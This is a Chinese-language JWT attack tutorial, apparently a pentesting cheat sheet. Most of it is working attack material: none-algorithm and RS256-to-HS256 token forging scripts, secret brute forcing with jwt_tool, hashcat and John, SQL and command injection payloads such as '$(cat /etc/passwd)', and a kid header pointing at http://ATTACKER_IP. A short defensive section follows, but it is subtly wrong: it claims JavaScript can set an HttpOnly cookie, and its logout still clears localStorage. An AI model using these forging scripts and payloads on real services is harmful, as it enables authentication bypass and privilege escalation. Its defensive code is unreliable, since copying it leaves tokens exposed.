JWT 攻击详解

漏洞概述

JSON Web Token (JWT) 是一种开放标准 (RFC 7519),用于在各方之间安全地传输信息。但由于实现不当,常导致认证绕过、权限提升等漏洞。

OWASP Top 10: A07:2021 (Identification and Authentication Failures)
危害等级: ⭐⭐⭐⭐


JWT 结构

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Header.Payload.Signature
{
  "alg": "HS256",
  "typ": "JWT"
}

Payload

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022,
  "exp": 1516242622,
  "role": "user"
}

Signature

HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

常见攻击手法

1. 无算法攻击 (None Algorithm)

原理: 将 alg 改为 none,服务器可能跳过签名验证。

利用:

# 修改 Header
{
  "alg": "none",
  "typ": "JWT"
}

# 删除 Signature 部分
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIn0.

# 使用 jwt_tool
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIifQ.signature -X n

2. 算法混淆攻击 (Algorithm Confusion)

原理: 将 RS256 改为 HS256,使用公钥作为 HMAC 密钥。

利用:

# 1. 获取公钥
curl https://target.com/.well-known/jwks.json

# 2. 修改 Header
{
  "alg": "HS256",
  "typ": "JWT"
}

# 3. 使用公钥作为 HMAC 密钥签名
python3 jwt_tool.py <JWT> -X k -pk public.pem

# 或手动计算
import jwt
import hmac
import hashlib

public_key = open('public.pem').read()
token = jwt.encode(payload, public_key, algorithm='HS256')

3. 密钥爆破攻击

原理: 弱密钥可通过字典攻击破解。

利用:

# jwt_tool 爆破
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIs... -d /usr/share/wordlists/rockyou.txt

# hashcat
hashcat -m 16500 jwt.txt wordlist.txt

# John the Ripper
john --wordlist=rockyou.txt jwt.txt

常见弱密钥:

secret
password
123456
jwt_secret
your-256-bit-secret

4. 签名绕过

原理: 某些库存在签名验证绕过漏洞。

利用:

# 添加空签名
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.

# 使用无效签名
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.invalid

# 修改 payload 后保持原签名
# 某些服务器可能不验证签名

5. 敏感信息泄露

原理: JWT payload 仅 Base64 编码,未加密。

检测:

# 解码查看
echo "eyJzdWIiOiIxMjM0NTY3ODkwIn0" | base64 -d

# jwt_tool
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIs... -T

# 在线工具
https://jwt.io/

6. Token 重放攻击

原理: JWT 无状态,可重复使用。

利用:

# 1. 截获 JWT
# 2. 重复发送
curl -H "Authorization: Bearer <JWT>" http://target.com/api/user

# 3. 即使密码修改后,旧 Token 仍有效

7. 注入攻击

原理: JWT 头部或 payload 可能存在注入点。

利用:

# SQL 注入
{
  "sub": "' OR '1'='1",
  "name": "admin'--"
}

# 命令注入 (某些实现)
{
  "sub": "$(cat /etc/passwd)"
}

实战案例

案例 1: 算法混淆 (RS256 → HS256)

import jwt
import requests

# 原始 Token
original_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."

# 获取公钥
public_key = requests.get('https://target.com/.well-known/jwks.json').json()['keys'][0]['x5c'][0]
public_key = f"-----BEGIN PUBLIC KEY-----\n{public_key}\n-----END PUBLIC KEY-----"

# 修改 payload
payload = {
    "sub": "admin",
    "role": "admin",
    "iat": 1234567890
}

# 使用公钥作为 HS256 密钥
forged_token = jwt.encode(payload, public_key, algorithm='HS256')

# 使用伪造 Token
headers = {"Authorization": f"Bearer {forged_token}"}
response = requests.get('http://target.com/admin', headers=headers)

案例 2: 弱密钥爆破

# 使用 jwt_tool
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c -d common-passwords.txt

# 成功破解后修改 payload
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIs... -S hs256 -p "secret" -I -pc role -pv admin

案例 3: 权限提升

import jwt
import base64
import json

# 解码原始 Token
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
header_payload = token.split('.')[1]
decoded = base64.urlsafe_b64decode(header_payload + '==')
payload = json.loads(decoded)

# 修改权限
payload['role'] = 'admin'
payload['is_admin'] = True

# 重新签名 (假设密钥为 'secret')
new_token = jwt.encode(payload, 'secret', algorithm='HS256')

案例 4: Kid 路径遍历

# 漏洞:kid 参数用于加载密钥文件
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "../../dev/null"
}

# 利用
python3 jwt_tool.py <JWT> -X k -kid "../../dev/null"

# 或使用空文件
{
  "kid": "http://ATTACKER_IP/empty.key"
}

工具

jwt_tool

# 安装
pip3 install jwt_tool

# 检测
python3 jwt_tool.py <JWT>

# 爆破密钥
python3 jwt_tool.py <JWT> -d wordlist.txt

# 算法攻击
python3 jwt_tool.py <JWT> -X n  # None
python3 jwt_tool.py <JWT> -X k  # Key Confusion

# 修改 payload
python3 jwt_tool.py <JWT> -S hs256 -p "secret" -I -pc role -pv admin

jwt-cli

# 安装
npm install -g jwt-cli

# 解码
jwt decode <JWT>

# 创建
jwt encode --secret secret --alg HS256 '{"sub":"admin"}'

防御建议

服务端

# 1. 强制指定算法
import jwt

# ❌ 错误
jwt.decode(token, secret, algorithms=None)

# ✅ 正确
jwt.decode(token, secret, algorithms=['HS256'])

# 2. 验证所有声明
payload = jwt.decode(token, secret, algorithms=['HS256'], options={
    'require': ['exp', 'iat', 'sub'],
    'verify_exp': True,
    'verify_iat': True,
    'verify_nbf': True,
    'verify_iss': True,
    'verify_aud': True
})

# 3. 使用强密钥
import secrets
secret = secrets.token_hex(32)  # 256-bit

# 4. 设置合理过期时间
payload = {
    'exp': datetime.utcnow() + timedelta(hours=1),
    'iat': datetime.utcnow(),
    'sub': user_id
}

# 5. 实现 Token 黑名单/刷新机制

客户端

// 1. 安全存储
// ❌ 避免 localStorage (XSS 风险)
localStorage.setItem('token', token);

// ✅ 使用 HttpOnly Cookie
document.cookie = "token=" + token + "; HttpOnly; Secure; SameSite=Strict";

// 2. 自动刷新
setInterval(() => {
    refreshToken();
}, 15 * 60 * 1000); // 每 15 分钟刷新

// 3. 登出时清除
function logout() {
    localStorage.removeItem('token');
    // 或清除 Cookie
}

参考链接